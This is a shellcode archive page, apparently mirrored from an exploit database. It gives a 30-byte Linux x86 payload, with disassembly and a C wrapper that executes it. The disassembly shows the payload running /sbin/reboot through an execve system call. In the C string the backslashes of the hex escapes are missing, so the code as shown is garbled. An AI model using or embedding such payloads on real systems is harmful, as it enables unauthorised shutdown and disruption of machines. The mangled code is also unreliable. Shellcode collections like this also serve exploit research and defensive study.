[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 PUSH reboot() - 30 bytes
# Published : 2009-01-16
# Author : Jonathan Salwan
# Previous Title : win32/xp sp2 Shellcode cmd.exe 57 bytes
# Next Title : linux x86 shellcode obfuscator


/*  Linux x86 PUSH reboot() - 30 bytes
 *  Jonathan Salwan <js.rac.projet[*AT]gmail.com>
 *  Web: http://racprojet.zapto.org
 *
 * Disassembly of section .text:
 *
 * 08048054 <.text>:
 * 8048054:       31 c0                   xor    %eax,%eax
 * 8048056:       50                      push   %eax
 * 8048057:       68 62 6f 6f 74          push   $0x746f6f62
 * 804805c:       68 6e 2f 72 65          push   $0x65722f6e
 * 8048061:       68 2f 73 62 69          push   $0x6962732f
 * 8048066:       89 e3                   mov    %esp,%ebx
 * 8048068:       50                      push   %eax
 * 8048069:       89 e2                   mov    %esp,%edx
 * 804806b:       53                      push   %ebx
 * 804806c:       89 e1                   mov    %esp,%ecx
 * 804806e:       b0 0b                   mov    $0xb,%al
 * 8048070:       cd 80                   int    $0x80
 *
 */

main()
{
char shellcode[] = 
			"x31xc0"
			"x50"
			"x68x62x6fx6fx74"
			"x68x6ex2fx72x65"
			"x68x2fx73x62x69"
			"x89xe3"
			"x50"
			"x89xe2"
			"x53"
			"x89xe1"
			"xb0x0b"
			"xcdx80";

       	printf("Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();       
}

// www.Syue.com [2009-01-16]